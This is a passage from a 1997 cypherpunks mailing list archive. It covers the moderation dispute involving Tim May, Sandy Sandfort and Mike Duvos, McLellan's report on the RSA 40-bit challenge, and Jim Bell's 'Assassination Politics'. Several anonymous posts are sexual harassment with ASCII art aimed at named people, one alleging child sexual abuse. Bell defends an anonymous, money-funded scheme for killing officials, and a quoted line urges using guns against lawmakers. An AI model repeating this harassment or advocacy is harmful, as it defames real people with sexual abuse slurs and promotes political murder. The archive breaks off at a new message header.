Dr.Decoy L[esbian] Vagina K[ankersore]OTM uses an Adolf Hitler
action figure as a dildo.

      O      |'|
     /\      | | Dr.Decoy L[esbian] Vagina K[ankersore]OTM
    /\ \-------|
   / / |-------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 18:32:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: [DSS] overview.htm
Message-ID: <199702030232.SAA19022@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vehement K[arcinogen] Of The Month's wee-wee is so tiny
that only his mommy is allowed to touch it.

     /\ \  / /\
    //\\ .. //\\ Dimitri Vehement K[arcinogen] Of The Month
    //\((  ))/\\
    /  < `' >  \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 18:35:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FWD] Making OCR'ed code transfer easier
Message-ID: <199702030235.SAA19253@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dopefiend Liar Villain Kondom Of The Moment will fuck anything
that moves, but he'd rather be fucking his own son's
prepubescent body.

       _  O     O  _
        \-|-\_/-|-/  Dopefiend Liar Villain Kondom Of The Moment
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 2 Feb 1997 22:11:37 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1ab0e7d67e@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970202191742.17607B-100000@crl11.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Where to begin?  Tim May has taken the time to write broad and
thought provoking essay on this list's current moderation 
experiment.  I appreciate his analysis--and candor.  While I do
not agree with all he has written, I enormously respect his
dedication to his point of view.  

On Sun, 2 Feb 1997, Timothy C. May wrote:

> I chose not to write a "departing flame" (or message, but some might call
> it a flame) when I unsubscribed several weeks ago--within an hour of
> reading that John and Sandy had decided to make "their" list a moderated
> list,...

This is Tim's first error of fact.  I point it out not to insult
him, but because it seriously affects much of the rest of his
analysis.  We are conducting an experiment.  It will last one 
month.  After that, it's over if list members want it to be over.
If, on the other hand, moderation is seen by the list members as
beneficial to their use and enjoyment of the list, the current
form of moderation--or some variation will continue.

> ...and saw no point in wasting even more of my time arguing against the New
> Cypherpunks World Order, as the NCWO was clearly presented as a fait
> accompli, not something ablut which opinions of list members (or even list
> _founders_, at least not me) were being sought.

Factual error #2.  There was a call for comment; Tim chose not to
do so.  In retrospect, I wish we had run it by Tim, Eric and 
Hugh in more detail before making the annoucement, but we didn't.
Certainly a tactical error and a breach of protocol, but not the
end of the world.  Sorry Tim.  I should have spoken to you first.

> I see vast amounts of bandwidth consumed by arguments about
> moderation, about the putative biases of the Moderator and Director of the
> New Cypherpunks World Order, about alternative moderation strategies (which
> is stupid, as John and Sandy announced what they were going to do, not just
> some of their preliminary thoughts), and so on. I've also noticed fewer
> substantive essays.

And I see something different.  Since previously, Tim actively
filter the list, I'm not sure on what basis he can make his
comparison.  As just one example (though a signicant one) Dimitri
has posted more non-flaming, on-topic posts during the two weeks
of this experiment then in the previous several months.  In my 
opinion, other than for the hysterical posts of a very few 
self-righteous loudmouths, the overall quality of the posts has
been far superior to what it had become in the weeks before the
experiment began.  YMMV.

> With no false modesty I tried awfully hard to compose substantive
> essays on crypto-political topics, often more than one per day.

I would hope that Tim will return to this practice irrespective
of whether the list remains moderated or returns to its previous
policies.  More on this, below.

> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn, the love letters between Vulis and someone name
> Nurdane Oksas,...

Two points:  Since Tim largely agrees with those in opposition to
moderation, and because of the extraordinary nature of Tim's post,
I did not send it to the "flames" list.  It was a judgment call.
 
The problems Tim describes, did not arise with moderation.  
Indeed, they were the imputus for the moderation.

> * But the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
> these hosts to be the "owners" of the Cypherpunks group?...

I think this is a Straw Man.  John and I have never argued that
John "owns" cypherpunks.  When a Cypherpunk meeting is held in
someone's living room, however, I don't think it's asking to much
to ask everyone to follow the local rules (e.g., "no shoes in the
house" or "no smoking" or even "no ad hominem attacks").  As Tim
is fond of saying, "my house; my rules."  I don't think this 
means Tim "owns" a physical meeting in his house.

> While John had (and has) every legal right
> to do with his property as he wished, the effect was very negative. First,
> Vulis found other ways to post (duh).

Tim, do you really believe that John did not anticipate this?

> Second, the list was consumed with
> flames about this, many from Vulis, and many from others.

It was consumed with flames before.  Now, at least, the vast
majority of folks on the list don't have to read them, nor jump
through any hoops to implement some sort of dynamic filtering
half-measure.

> Third, journalists (who love sizzle over substance any day of
> the week) lept into the fray with articles which gave Vulis the
> publicity he craved.

That's what journalist do, though I wasn't aware of ANY articles
on this issue.  I would appreciate it if Tim could give us some
citations.  

> Fourth, it sent a message to enemies of liberty that "Even the 
> Cypherpunks have found it necessary to abandon their anarchic
> ways."

That's one message that one could take from all this, I suppose.
I don't see it that way, nor do several list members who thanked 
me in private e-mail for improving the list.  Again, YMMV.
 
> (I'm well aware of the issues with pests like Vulis, who seek to destroy
> virtual communities like ours. But the solution John used did not work, and
> generated more crap....

What didn't work was "local filtering" which has no feed-back 
loop to engender comity.  This might not work either, but I see
no evidence that it has made things worse.  Remember, there are a
hand-full of subscribers to the Flames list, 20-30 on the 
Unedited list and *2000* or so on the Moderated list.  Sure some
of that may be due to laziness, but it would be cavalier in the
extreme to claim that such an overwhelming acceptance of 
moderation is merely an artifact of inertia.

But to make things perfectly clear one more time, ANYONE WHO 
WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
"CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

> * "Censorship" is another overloaded term. I don't think the "Definition 1"
> of dictionary definitions, about _governmental_ restrictions, is the only
> meaningful definition. Everybody knows what it meant when we say that
> "Lockheed is censoring the views of employees," even though we know
> Lockheed is not using government power. A censor is one who censors. And
> even my "American Heritage Dictionary" gives this as its "definition 1":
> 
> "censor n. 1. A person authorized to examine books, films, or other
> material and to remove or suppress morally, politically, or otherwise
> objectionable."

Tim and I disagree on which definition of "censorship" applies in
this situation.  Dale Thorne, and others, have argued, in essence,
that there is censorship if ANY definition would apply.  I'm not
sure time is going that far, but if so, I respectfully disagree.

But let's apply Tim's above definition for the sake of argument.
Am I, thereby, a censor?  Well I am examining "other material" 
and I am making judgments with regard to whether or not it is
"objectionable," unfortunately for Tim's argument, I am neither
"removing" nor "supressing" anything.  Anybody can read anything
that gets posted to Cypherpunks--in two places.  I am sorting,
but even my sorting can be completely avoided.

> * OK, even given that John had decided to censor "his" list, what about his
> choice of Sandy Sandfort as the censor?

John didn't choose me, I approached him.  I offered my opinion as
to what I thought HE ought to do about the list disruptions.  The
short version of his answer was, "if you think you can do a 
better job, go for it."  I accepted the challenge, so here I am.
I don't want this job.  If the list members decide to keep the 
list moderated, I hope to keep my involvement as a moderator to a
minimum.  Any volunteers?

> * Nor do the announced criteria make any sense. While the inane one-line
> scatological insults have been filtered out, many "flames" make it through,
> based on what I've seen in perusing the hks archive site. And some
> reasonable comments get dumped in the flame bucket.

Very possibly true.  Moderation is like crypto, perfection isn't
and option.  However, a 90% solution is a heck of a lot better 
than no solution at all.  Yes, I've made what I consider to be
errors, but I think on some, I've done a very good job overall.
 
> * (Frankly, one of my considerations in leaving was the feeling that I
> would never know if an essay I'd spent hours composing would be rejected by
> Sandy for whatever reasons....

Tim, I think this is disingenuous.  I have been quite clear on 
my moderation criteria.  You are too intelligent to feign such
a lack of understanding.

> maybe he might think my essay was off-topic,

Clearly not a criterion I ever enunciated.

> or used one of the Seven Deadly Words, 

Clearly not a criterion I ever enunciated.

>or was "too flamish."

Bingo (with the proviso that it be a personal attack on a list
member as opposed to the substance of his or her argument).

> * The decision to "moderate" (censor) the Cypherpunks list is powerful
> ammunition to give to our opponents,

Piffle.  Letting spoiled children destroy the list puts a far
more powerful weapon in the hands of our enemies.

> and Vulis is certainly gleeful that
> his fondest wishes have been realized.

I do not have a crystal ball.  My Vulcan mind meld is in the 
shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
whether is gleeful about all this or not.  An frankly, who cares?
The question is, are list members happy or not with moderation.
Tim was not.  I am.  By the end of the experiment, I dare say we
will have a good idea what most list members think. 

> (I would venture a guess that a Duncan Frissell would almost certainly get a
> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
> get a leftist rant past him.)

I sorry Tim gives me so little credit.  Rather than merely post a 
self-serving denial, I would ask that Phill confirm or deny Tim's
supposition.  To the best of my recollection, I have sent only
one post of Phill's to the Flames list.  It flamed Jim Bell.  As
far as moderating political rants go, I'm agnostic.

Look folks, when you stop trying new things, and stop questioning
conventional wisdom, you are as good as dead.  Maybe moderation
is the best think since sliced bread; maybe it sucks.  How about
we give it a good-faith try for the next 2+ weeks and see how it 
goes?  If the consensus is it sucks, I intend to be gracious in
defeat.  If it goes the other way, I hope that the neighsayers 
will accept it and let the list get on with its role as a forum
for the protection of privacy.

Thanks again, Tim, for sharing your views with us.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 2 Feb 1997 22:14:40 -0800 (PST)
To: roy@scytale.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <970202.103614.3s2.rnr.w165w@sendai.scytale.com>
Message-ID: <Pine.SUN.3.91.970202215851.17607F-100000@crl11.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 2 Feb 1997, Roy M. Silvernail wrote:

> In Minneapolis and Anchorage (the two cities of which I have knowledge)
> mail carriers have a key that opens not only apartment-style mailboxes,
> but little boxes on the outside of apartment buildings that hold a key
> to the building's lobby.  Snag one of those keys and a large portion of
> the city opens its doors to you.  (some buildings have further locked
> doors beyond the mailbox lobby to counter this threat)

So much for key escrow.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 2 Feb 1997 19:31:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: None[STEGO] Elliptic curves
Message-ID: <199702030331.WAA06501@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's 16Kb brain's single convolution is directly wired to 
his rectum for input and his T1 mouth for output. That's 16K bits, not 
bytes. Anal intercourse has caused extensive brain damage.

         \
        o/\_ Timmy C[reep] May
       <\__,\
        '\,  |







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 2 Feb 1997 22:47:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore's Moderated Cypherpunks List
In-Reply-To: <199702030325.TAA09985@toad.com>
Message-ID: <199702030647.WAA09811@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Our Former Titular Leader Bails and Expounds Thusly Over the
Smoking Remains of the Once Mighty Cypherpunks List:

 > First, I don't argue that John Gilmore is unfree to do as
 > he wishes with his machine, toad, which has been the major
 > machine host for the Cypherpunks list. John can tell us we
 > have to write in Pig Latin if he wishes.

Freedom of the Press belongs to those who own one. Since there
are no legal restrictions on the name "Cypherpunks", anyone with
a working box can host a "Cypherpunks List", and individuals may
choose to spend their reputation capital improving the S/N ratio
of whatever Cypherpunks Lists they favor.  In this sense, a
"Cypherpunks List" is like a "Webster's Dictionary." Anyone can
use the name, and the deluxe leather bound edition put out by a
University is better than the tacky newsprint one offered as a
premium by your local book club.

Gilmore's Moderated Cypherpunks List is one of many forums where
Cypherpunks may choose to congregate, some of which carry the
name "Cypherpunks," and some of which do not.

 > I think we should all be very grateful to John for agreeing
 > to let it run on his hardware, but not let our gratitude
 > turn into some sort of subservience and blather about how
 > John "owns" the Cypherpunks group.

I think we should have nipped Gilmore in the bud when he censored
Vulis, and immediately looked for a new site to host a
Cypherpunks list which was not subject to sudden and arbitrary
censorship by the site owner.  John, of course, would have been
perfectly free to continue to host "Gilmore's Moderated
Cypherpunks List", and we would have perfectly free not to post
there any more.

Instead, being comfortable and lazy, we tolerated Gilmore's
pathetic attempts to exterminate the pesky Vulis, and given that
Vulis was more than a match for Gilmore mentally, the pissing
contest soon escalated as the frantic Gilmore took more and more
extreme measures to find "the final solution" to the good
Doctor's posts.

Again, predictable behavior by everyone involved.

 > Again, is the "Cyherpunks community" the same as the mailing
 > list? And is the mailing list, hosted at toad, the "property" of
 > John Gilmore?

Of course not.  What a silly notion.

All mailing lists that survive more than a few months are
organized around some strong personality who nudges the list back
on-topic when it begins to stray, and who posts articles
interesting enough that people will make regular visits to read
them.

If no one performs this function on a list, the list will die.

I think most people will agree with me that Timothy C. May has
been the person who performed this function here on Cypherpunks,
from its creation until fairly recently.  If he chooses not to
perform this function on "Gilmore's Moderated Cypherpunks List",
that is Mr. Gilmore's tough luck.  Perhaps if Mr. Gilmore asks
nicely, Dr. Vulis will volunteer.

Then again, perhaps not. :)

 > I'll have more to say about my problems with how things
 > were handled. Frankly, it smacked of the same kind of fait
 > accompli decision John made with the unsubscribing of Vulis.
 > While John had (and has) every legal right to do with his
 > property as he wished, the effect was very negative. First,
 > Vulis found other ways to post (duh). Second, the list was
 > consumed with flames about this, many from Vulis, and many
 > from others. Third, journalists (who love sizzle over
 > substance any day of the week) lept into the fray with
 > articles which gave Vulis the publicity he craved. Fourth,
 > it sent a message to enemies of liberty that "Even the
 > Cypherpunks have found it necessary to abandon their
 > anarchic ways."

I agree completely.  Do real Cypherpunks want to post to a list
run by someone who has undermined their agenda and made them look
like hypocritical idiots to the world?  Gilmore has done more
damage to the good name of Crypto Anarchy in the last few weeks
than the government spooks could ever have hoped for in their
wildest dreams.

 > But by making the _main list_ the censored one, this skewed
 > things considerably.

Yes, this was a sleezy and perfidious trick by Gilmore, who
apparently wanted to transform "Cypherpunks" into "Gilmore's
Moderated Cypherpunks List" by fiat.  Even the unedited list was
an afterthought to pacify critics, and you can be sure that it
will evaporate as soon as he thinks no ones complaints will be
heard.

 > Had there been a debate about the policy, I can think of
 > several approaches I'd like better. But inasmuch as John
 > made it clear that there would be no debate (and, perhaps as
 > part of the "problem," John has not really been a active
 > member of the mailing list, in terms of participating in the
 > debates), this is all moot.

 > In any case, my several years with the list have taken a
 > huge amount of my time. Given the way this whole thing was
 > handled, and the way the list is degenerating even further,
 > it looks like it's good that I'm moving on to other things.

Hey - if John Gilmore can attract readers to "Gilmore's Moderated
Cypherpunks List" by virtue of his charming personality, more
power to him.

Really. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 2 Feb 1997 21:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.SOL.3.93.970202203822.17818A-100000@asimov.montclair.edu>
Message-ID: <i87i2D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:
>
> On Sun, 2 Feb 1997, Igor Chudov @ home wrote:
>
> > jim bell wrote:
> > >
> > > Better yet, set up a system to encourage the public to USE those guns (an
> > > other weapons) to get rid of the people who pass such laws, and the probl
> > > is solved.
> > >
> >
> > How about this scenario: I borrow 1 million dollars from, let's say,
> > Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> > assassination bot and arrange him to be murdered.
> >
> > Another story: suppose that I negligently caused fire that destroys
> > house of, say, Toto. Toto knows that if he sues me, I can arrange him
> > murdered for the amount less than the amount of damages. As a result,
> > he refrains from suing me, or (if he is a mean person) pays additional
> > money to have me murdered. A suit would probably be a much better outcome.
> >
> > Another story: suppose that OKSAS hired me to work for her, but then
> > our relationships go south and she fires me. Again, her fate is very
> > unclear, although I would probably spare her life if it were she.
>
> 	Chudov , do you love me?

Oksas, do you really believe in long-distance romance over the Internet?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Sun, 2 Feb 1997 20:49:07 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <199702020956.BAA16024@toad.com>
Message-ID: <v03007803af1ae3c495ac@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
almost all standard Unix college-lab workstations, as I understand it.
(RC5 has a variable block size and a variable number of rounds; but the
unknown plaintexts for this contest were enciphered using a declared
12-round RC5 with a 32-bit word size.) The message Ian revealed was
something like: "That's why you need a longer key!!!!!"

	RSA posted rewards for anyone who can break a 56-bit DES challenge
and/or any of 12 variable-length RC5 challenge messages.  The 40-bit RC5
cipher was the least of these and was expected to fall quickly.  The
initial RSA announcement of the contest emphatically declared that even
56-bit-key crypto (DES or RC5) offers only "marginal protection" against a
committed adversary -- which is not to in any way minimize Ian's
accomplishment, or the efforts (some also successful!) of others who also
tackled the 40-bit challenge.

	SDTI/RSA celebrated Ian's achievement enthusiastically at the RSA
Security Conference in San Fran last week. Burt Kalisky, the Chief
Scientist at RSA, preempted a main session at the Conference to do an
on-stage telephone interview with Ian about his attack.  SDTI (RSA)
apparently hopes to use Ian's "timely" achievement to urge Congress to
challenge the idiotic 40-bit EAR ceiling and the key-escrow contracts
required to get a 56-bit export license.

	 (The network Ian used to link his lab workstations, NOW at
Berkeley, is definitely not standard, however.  I think there is a
description of it online; but briefly, NOW seems designed to very
efficiently handle this sort of intensive distributed processing project.
More important, perhaps, was the fact that Ian just chewed through the
possible keys with a pure brute-force attack on the key space.  His attack
was not really optimized for RC5, or designed to attack any specific
element in the RC5 crypto architecture.)

	Jim Bitzos of RSA also gave a thought-provoking thumbnail summary
of the IBM Key Recovery Alliance (making a better case for it in 30 seconds
than the long technical presentatations from IBM.)  As Bitzos explained it,
the variable key-size control allows a corporate user to communicate
through encrypted links to a variety of international recipients --
dynamically adjusting the encryption mechanism to whatever varied
restrictions are required by the French, German, US, UK, etc. , govenments.

	"It's an imperfect world," growled Bitzos -- but both users and
vendors need workable mechanisms today to allow them to adapt to whatever
contraints on strong encryption that are, or will be, required by the
various national authorities.  It's a mistake, he suggested, to think of
the IBM Key Recovery Initiative soley in terms of US controls.  Many
governments are reacting with hostility to the availability of strong
encryption -- and until the Market finds a voice and educates the political
and spook cultures, commercial entities will inevitably have to adapt their
work-a-day communications security to a wide variety of national crypto
controls and key-length restrictions.

	(What I got about the IBM presentations was the realization that
there is nothing in the key recovery mechanism, per se, that requires the
recovery key to be held by a third party.  That, to my mind, is the
essential distinction between key escrow and key recovery.  I also realized
that IBM has, for years, quietly held a crucial piece of the PKC scheme in
its patented "control vector" tech, which irrevocably binds a whole set of
context-specific rules and constraints to a decryption key.  I now realize
that the control vector technology was the foundation much of the the DoD's
Blacknet development. Important stuff -- check it out!)

	Like Big Jim said, it's an imperfect world -- and likely to become
more so, from the C'punk perspective, before it becomes better.  The rumor
mill among the 2,500 cryptographers, mostly developers, who attended the
RSA Conference was pumping overtime.  One of the saddest and most
persistent rumors was that the Clinton Administration would, within months,
introduce a Congressional bill to make unescrowed strong encryption illegal
in the US.  (Personally, I'd put bitter money on that one. <sigh>)

	David Aaron, US Crypto Ambassador and the US permanent rep to the
OECD -- in which role he has strove to convince the newly liberated nations
of Eastern Europe that built-in wiretap links are essential design
components for a modern democratic nation's communications infrastructure
-- was charming and gracious... but it was no surprise that he didn't budge
a bit from the "sovereign right to listen" policy line.

	You shouldn't have skipped the RSA bash, Adam, not even for your
DCS gig in the sunny Caribbean.  There were numerous Lion and the Lamb
drinking bouts thoughout the week (some rather amazing, in terms of both
the participants and the volume of "input".) You would have loved it.
Passions often ran high, but usually in quiet intense coversations. I (one
Lamb, white wool turning gray;-) had distinct impression that there many US
government cryptographers uncomfortable with the Administration's
NSA/FBI-inspired absolutist POV.  Not even all senior feds feel that
Constitutional Law should be (re)written by FBI case agents obsessed with
making it easier to bust some two-bit crack dealer next month.  (Doesn't
mean much in the larger scheme of things, but the pained ambivalence
vividly reminded me of Vietnam debates so many years ago.)

	My favorite quote, from a federal LEA lawyer deep in his cups: "If
the colonial cops, rather than the philosophers, had drafted the
Constitution -- would Madison and Jefferson, et al, have been willing to
even put their names to it??"

	Suerte,
		_Vin

-------- In Reply To:


>Steve Schear wrote:
>| >        What the US government will allow to be exported is not "strong
>| >encryption."  It is encryption only slightly too strong to be broken
>| >by an amateur effort.  For the right investment in custom hardware, it
>| >falls quickly.  (500,000 $US = 3.5 hour avg break).
>| >
>|
>| Considering Ian's feat you certainly seem to have had your crystal
>| ball in hand.

Adam Shostack responded:

>	I wear three around my neck.  Its a new age thing.
>
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom,
>AFAIK.

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard W Campbell <woody@hi.net>
Date: Mon, 3 Feb 1997 01:12:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: moderation sucks
Message-ID: <32F5ABC9.6594@hi.net>
MIME-Version: 1.0
Content-Type: text/plain


 unsubscribe cypherpunks@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 2 Feb 1997 23:29:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: None
Message-ID: <199702030729.AAA00107@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vinyl K{rust}OfTheMonth will fuck anything that moves,
but he'd rather be fucking his own mother's dead body.

 v-v-v-@@-v-v-v
      (..)     Dimitri Vinyl K{rust}OfTheMonth






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 00:39:45 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702030837.AAA08320@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 PM 2/1/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Nobody has a problem with your ideals, it's just that Jim Bell is
>> trying to say (correct me and forgive me if I'm wrong) that:
>> 
>> 1. Society will never subscribe to your ideals.
>
>But other than two points they already do. The two points being,
>
>1. Libel is a recognized legal concept now, the difference is one of degree.

Maybe this will appear to you to be too-subtle a distinction, but I don't 
share the misimpression of equating what "society" (the citizenry?) accepts 
and what government-types accept.  For instance, as I understand it the 
public uniformly rejects the concept of wiretaps as a method of 
law-enforcement, yet they are done anyway.  In effect, it would be correct 
both to say:

a.   Society will never accept wiretapping.  (where "society" is defined as 
the collection of individuals)

   as well as saying...

b.   Wiretapping is a "recognized legal concept now."  (because the 
implication is that "recognized" refers to a tiny subset of society, the 
thugs who run the "justice system.")

Now, it's my own personal opinion that wiretapping is unconstitutional, but 
is done anyway for the same reason other unconstitutional things are 
regularly done by government:  Despite public disapproval, the public is 
never actually given the opportunity to make the decision.

The fact is, libel lawsuits are apparently a rather rare "tool" that we 
don't even need.  Perhaps a REAL LAWYER <tm> who is aware of the statistics 
can tell us how often they actually occur.  I argue that something that rare 
is, almost by definition, not really needed.   


>My solutions to these two issues are:
>
>1.  Removal of the lawyer from the ultimate choice of whether the case
>    should be pursued.

Yes, I'd like to "remove a few lawyers," as well.  Not quite the way you 
would, however.


>4.  By the implimentation of a bond proviso on the part of the plaintiff
>    the system provides a check and balance reducing nuisance cases as
>    well as reducing the taxation load on the citizenry.

Why not a full "loser pays" system?  And I mean NOT ONLY for civil cases, 
but also criminal cases!  Perhaps the government would be a bit less 
enthusiastic about harassing drug defendants if it was forced to pay for 
their acquittals after a FIJA loss!   

Consider, for example, that if the government had to pay after a loss, it 
would become very difficult for the government to harrass a person like Phil 
Zimmermann, unlike today where charges can be brought even if it is 
recognized they won't stick, secure in the knowledge that he'd be out a 
great deal of money in his defense.  How much sweeter would the victory be 
if all costs were compensated?  


> 
>> 2. Society is not static, i.e., instead of remaining at a constant
>>    level of corruption, the officials will keep demanding more,
>>    until there's a sudden, catastrophic break.
>
>Absolutely, that is one of the reasons I refuse to seperate those who
>represent the social contract (eg the Constitution) and those who are
>impacted by it, which includes even those who represent it and enforce its
>various responsibilities. AP relies on this distinction as axiomatic. 

Do you always produce such opaque commentary?  <Sigh>   Perhaps you could 
re-write the above statement in ordinary English.

The reality is, the guarantees supposedly provided by the US Constitution 
are guarantees in name only.  The system is thoroughly corrupted and biased.  



>This
>axiomatic view is ultimately based in a jealous greed for what others have
>(ie power, percieved or real) and the implicit belief that all people are
>NOT created equal.

It's hard to know how you come to this conclusion.  If anything, what I'm 
trying to do is to permanently destroy a system which has allowed a tiny 
fraction of society to control things for the rest of us for centuries, and 
longer.  If anything, it is the system I'm trying to destroy which has taken 
the position that, in reality, people are not equal.

On the other hand, I'm NOT a proponent for "egalitarianism," or enforced 
equality, at all!  I'm confident that once the system is dismantled that 
enforces inequality on us, we can live with the result.


>> 3. The AP solution has the potential to stabilize the level of
>>    corruption, which should make violent revolutions and genocide
>>    unnecessary.
>
>But it doesn't. What it does is provide a mechanism for de-stabalization.
>Just look at the Middle East and the history of assassination.
>Assassinations have never stabalized that region or any other.

It's interesting that I keep seeing the same misinterpretations of the AP 
system.  AP is not simply about killing people.  And no, it hasn't been 
tried before.    The occasional assassination is no more like AP than a 
random shot in the dark is like a well-aimed round.  The first may, rarely, 
do the same thing as the second, but there is no prospect of a likely 
repetition.

_SOME_ people seem to "get" this, why not you?  The _absolutely_essential_ 
element that distinguishes AP is the system that allows people's individual 
desires to be denominated in terms of money, and accumulated until an 
anonymous person satisfies that desire and collects the reward.  And, 
moreover, that this system remains in place forever.  


> There is
>nothging in our current understanding of human psychology and social
>interactions that leads to the conclusion that threats of violence will
>necessarily force people to comply. If it did the government (as perceived
>by AP) would not have to deal with real opposition. Simply threaten the
>opposition and it melts away for the same reason that supposedly the
>government would cease to oppose radicalism (ie changes in the status quo
>forced by small groups upon the masses). If anything every real world
>example of AP demonstrates an increase in corruption (eg. Beirut).

I keep telling you that "AP has never been tried before."  


>
>The closest analog in history to AP is the "Flowery Wars" as practiced by
>the Aztecs. However, these were motivated by a belief in religous homogeneity
>and not one of politics. Also, implicit in this was the axiomatic acceptance
>of a real class seperation between those who ruled and those who were ruled.
>By no means could one accept the premise that this caused the Aztec rulers
>to be more sensitive to corruption or the continued existance of their
>system. Another good example is assassination in ancient Rome, it is clear
>that such activities in no way reduced corruption.

AP is NOT the same thing as mere assassination.  Period.  If anything, there 
are excellent reasons why ordinary assassination can, indeed, increase 
corruption while the AP system would reduce it.  

The most obvious difference is this:  The motivations are vastly different.  
Heretofore, assassinations have occurred based on the desires of only a tiny 
fraction of the population.  Often one person, or only a few.  In other 
words, the assassinations which DO occur are NOT the ones that "the rest of 
us" would choose.  The latter type DO NOT occur!  


>If anything AP provides a rationale (ie self-defence) to impose even harsher
>a priori conditions on sections of a society by another part of that society.
>Hardly what I would consider a stabalizing condition let alone democratic.

It isn't necessary that any system be "democratic."    "Democracy" assumes 
that certain questions need to be answered by VOTE, as opposed to simply 
allowing individuals to answer those questions for themselves.  We don't all 
get together and vote on what religion we'll all be forced to observe, do 
we?  No.  That's because it is accepted that certain areas are off-limits 
for even a "democratic" system to decide.  We don't have a national vote to 
decide what color to paint ALL of our houses.   We don't have a vote to 
decide what meal to eat next Thursday.  

Well, in my opinion there are few if any proper functions for a so-called 
"democratic" system.  That's because I believe that most if not all 
decisions currently made in any "democratic" system shouldn't be made at 
that level at all!


>What is required for stability is for each group to feel unthreatened and
>secure in expressing their beliefs without fear of reprisals and at the same
>time recognizing they must provide room for others beliefs. There must also
>be the realization that refusal to abide by these precepts will be met with
>immediate consequences. Something AP can't do, as it explicitly promotes
>threats and the carrying out thereof.

You clearly don't understand it!


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
